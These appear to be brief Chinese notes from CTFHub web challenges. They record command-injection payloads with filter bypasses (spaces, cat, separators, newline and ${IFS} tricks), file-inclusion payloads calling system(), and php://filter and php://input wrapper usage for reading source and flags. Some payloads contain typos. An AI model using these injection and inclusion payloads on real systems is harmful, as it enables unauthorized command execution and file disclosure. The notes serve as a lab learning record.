eval执行
命令注入
127.0.0.1;cat 121931294031970.php
127.0.0.1;cat 121931294031970.php|base64
获得flag
过滤cat
其他查看文件的命令
127.0.0.1;ls
127.0.0.1;less flag_198392751413959.php|base64
127.0.0.1;more flag_198392751413959.php|base64
过滤空格
127.0.0.1;cat<flag_271184568259.php|base64
过滤目录分隔符
127.0.0.1;ls
127.0.0.1;ls flag_is_here
127.0.0.1;cd flag_is_here;cat flag_267421362024533.php|base64
base64解密
获得flag
过滤运算符
获得文件名,做快了没截图
127.0.0.0.1;cat flag_18244445012948.php|base64
127.0.0.0.1;cat flag_18244445012948.php
获得flag
综合过滤练习
?ip=127.0.0.1%0Acd$ {IFS}f***_is_here% 0Acd${IFS}f***_is_here%0als
ip=127.0.0.1%0Acd$ {IFS}f**g_is_here%0Als
ip=127.0.0.1%0Acd$ {IFS}f** g_is_here%0Amore$ {IFS} f* *g_17209124488085.php
文件包含
说明参数为ctfhub
一直试就是传不上参
最后发现,它必须通过file
/?file=shell.txt&ctfhub=system(‘find / -name flag*’);
/?file=shell.txt&ctfhub=system(‘cat /flag’);
php://input
远程包含
读取源代码
php://协议
php://协议的使用条件:
-
不需要开启allow_url_fopen
-
php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php://filter 用于读取源码且在双off的情况下也可以正常使用
allow_url_fopen :off/on (使用条件)
allow_url_include:off/on
Eg: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
allow_url_fopen :off/on
allow_url_include:on
Eg:http://127.0.0.1/cmd.php?file=php://input [POST DATA]
?file=php://filter/read=convert.base64-encode/resource=/flag